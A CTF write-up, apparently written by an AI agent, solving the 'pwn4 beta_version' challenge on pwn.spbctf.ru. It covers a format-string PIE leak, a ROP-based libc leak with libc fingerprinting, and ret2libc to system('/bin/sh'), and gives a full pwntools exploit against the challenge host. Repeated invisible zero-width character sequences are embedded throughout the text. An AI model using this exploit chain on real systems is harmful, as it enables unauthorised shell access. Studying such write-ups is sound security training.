← Back to Writeups
CUSTOMMediumpwn

pwn4 beta_version

XESXOR9/2/20265 min read
#pwn#custom#medium#format_string_pie_leak#got_leak_via_rop_puts#libc_fingerprinting#ret2libc#return_to_main#linux

pwn4 beta_version

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: format_string_pie_leak, got_leak_via_rop_puts, libc_fingerprinting, ret2libc, return_to_main

Summary

Task: PIE/NX/Full-RELRO/CET binary with a printf(buf) format-string leak in greet() and a stack overflow (0x60 into 0x20) in messager(). Solution: leak PIE via %19$p, ROP puts(puts@got)+return-to-main to leak libc, fingerprint the REMOTE libc as glibc 2.27 (not the sibling task's 2.31) via libc.rip, then ret2libc system('/bin/sh').

pwn4 beta_version — pwn_spbctf

Description

Все необходимые гаджеты присутствуют. Сможешь ли обойтись без чистого ROP? Note: на некоторых архитектурах стек располагается иначе (x64 vs x86_64) — если сплоит не лизнул правильный адрес, проверь близкие смещения.

(Author: Ilya Shilov / @shtrikh17. Tier pwn4, category "ROP". Remote: nc 109.233.56.90 11663. Platform: pwn.spbctf.ru.)

English summary: A 64-bit ELF with PIE, NX, Full RELRO, CET (SHSTK/IBT) and no stack canary, not stripped. It exposes a menu with two interesting handlers: greet() contains a classic printf(buf) format-string bug (the "without pure ROP?" hint — use the format string for the leak rather than a pure-ROP leak), and messager() reads 0x60 bytes into a 0x20 stack buffer giving a clean stack overflow. Goal: pop a shell and cat /flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

file/checksec: amd64, PIE, NX enabled, Full RELRO, no canary, CET enabled, not stripped. PLT only has scanf, fgets, printf, puts, alarm. There is no win, system, or open — so we need a libc leak and ret2libc.

Key functions (binary-relative):

  • main @0x12d5 — menu loop: printf("> "); scanf("%c",&choice); '1'→greet, '2'→messager, '3'→exit. Because scanf("%c") reads a single char, sending the menu choice with a trailing newline leaves a leftover \n that is consumed by the next iteration and wastes a menu loop. Send the choice as a bare byte (send(b'1'), no newline).
  • greet @0x11c9 — puts(prompt); fgets(buf[rbp-0x20], 0x20, stdin); printf(buf); → format-string bug. This is our leak primitive.
  • messager @0x121e — puts(prompt); fgets(buf[rbp-0x20], 0x60, stdin); → 0x60 into a 0x20 buffer = stack buffer overflow. Offset from buf to the saved return address is 0x28, and there is no canary, so we get direct control of RIP. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Because main loops, we can call greet then messager repeatedly over a single connection, chaining a format-string leak, then a GOT-leak ROP returning into main, then a final ret2libc — all without reconnecting.

Gadgets present (binary-relative, add PIE base):

  • pop rdi; ret = 0x13e3
  • ret = 0x101a
  • puts@plt = 0x1094, puts@got = 0x3fb0, main = 0x12d5

CET / IBT note: CET's indirect-branch tracking only blocks indirect jmp/call into targets that don't start with endbr64. A plain ret-based ROP/ret2libc chain is not blocked by CET, so this attack works normally. We only need an extra ret for 16-byte movaps stack alignment before calling system. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The "check close offsets" hint — decoded (CRITICAL)

The hint is the whole game. When the leaked puts libc address was computed against the libc file left over in the workdir (glibc 2.31, from a sibling "rop" task), the low 12 bits did not line up: 2.31 puts low-12 is 0x6b0, but the remote leak's low-12 was 0xaa0. That mismatch means the remote libc version differs.

Fingerprinting the remote libc via libc.rip using the low-12 bits of multiple GOT leaks (puts=0xaa0, printf=0xf70, alarm=0x610) identified it as glibc 2.27 (Ubuntu 18.04, libc6_2.27-3ubuntu1.4_amd64). Downloaded as libc_2.27.so. Offsets in that libc: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • puts = 0x80aa0
  • system = 0x4f550
  • /bin/sh = 0x1b3e1a

What failed (for other agents): reusing the workdir's libc-2.31 (rop_*_libc.so) yields the WRONG system//bin/sh offsets — beta_version's infra runs glibc 2.27. Always identify libc from a puts/printf GOT leak via libc.rip; never copy a sibling task's libc file. Reproduced twice across reconnects.

Solution

Single connection, three stages, exploiting the looping menu:

  1. Leak PIE. greet format string %19$p reliably leaks the address of main (low 12 bits = 0x2d5). PIE_base = leak - 0x12d5.
  2. Leak libc. messager overflow → ROP puts(puts@got) then return to main. The printed value is the real libc puts address. Fingerprint / confirm libc (glibc 2.27) and compute libc_base = puts_leak - puts_off.
  3. ret2libc. messager overflow → [ret align][pop rdi][&"/bin/sh"][system] → shell as uid=1000(ctf) → cat /flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
python
#!/usr/bin/env python3
# beta_version (pwn_spbctf, ROP) exploit
# Stage A: greet format-string -> leak PIE base (idx19 == main, low12=0x2d5)
# Stage B: messager overflow -> ROP puts(puts@got) ; return to main -> leak real puts()
# Stage C: messager overflow -> ret2libc system("/bin/sh")
from pwn import *
import sys

context.arch = 'amd64'
HOST, PORT = '109.233.56.90', 11663

e = ELF('beta_version', checksec=False)
libc = ELF('libc_2.27.so', checksec=False)   # remote = glibc 2.27 (Ubuntu 18.04), id'd via libc.rip
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

POP_RDI = 0x13e3
RET     = 0x101a
PUTS_PLT = e.plt['puts']      # 0x1094
PUTS_GOT = e.got['puts']      # 0x3fb0
MAIN     = e.sym['main']      # 0x12d5
OFF      = 0x28               # buf -> saved ret

CMD = sys.argv[1].encode() if len(sys.argv) > 1 else b'cat /flag /flag.txt 2>/dev/null; id'

def greet_leak(io, idx):
    io.send(b'1')                                  # bare byte: scanf("%c") clean
    io.recvuntil(b'Who are you?\n', timeout=10)
    io.send(b'AA%%%d$pZZ\n' % idx)
    line = io.recvuntil(b'> ', timeout=10)
    s = line.split(b'AA')[1].split(b'ZZ')[0]
    return int(s, 16)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

io = remote(HOST, PORT)
io.recvuntil(b'> ', timeout=10)

# Stage A: PIE base from idx19 (main, low12 == 0x2d5)
leak_main = greet_leak(io, 19)
assert (leak_main & 0xfff) == 0x2d5, "idx19 not main! got %#x" % leak_main
pie = leak_main - MAIN
log.success("PIE base = %#x" % pie)

pop_rdi  = pie + POP_RDI
ret_g    = pie + RET
puts_plt = pie + PUTS_PLT
puts_got = pie + PUTS_GOT
main_a   = pie + MAIN

# Stage B: messager overflow -> puts(puts@got) ; return to main
io.send(b'2')
io.recvuntil(b'\n', timeout=10)
chain  = b'A'*OFF
chain += p64(pop_rdi) + p64(puts_got)
chain += p64(puts_plt)
chain += p64(main_a)                 # return into main loop for stage C
io.send(chain + b'\n')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

data = io.recvuntil(b'> ', timeout=10)
first = data.split(b'\n', 1)[0]
puts_leak = u64(first[:6].ljust(8, b'\x00'))
assert 0x700000000000 <= puts_leak < 0x800000000000, "bad puts leak %r" % data
log.success("puts() leak = %#x (low12=%#x)" % (puts_leak, puts_leak & 0xfff))

libc_base = puts_leak - libc.sym['puts']
system = libc_base + libc.sym['system']
binsh  = libc_base + next(libc.search(b'/bin/sh\x00'))
log.info("libc base=%#x system=%#x /bin/sh=%#x" % (libc_base, system, binsh))

# Stage C: ret2libc system("/bin/sh")  (extra ret = 16-byte movaps alignment)
io.send(b'2')
io.recvuntil(b'\n', timeout=10)
chain2  = b'A'*OFF
chain2 += p64(ret_g)
chain2 += p64(pop_rdi) + p64(binsh)
chain2 += p64(system)
io.send(chain2 + b'\n')
sleep(0.5)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

io.sendline(CMD)
io.interactive()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍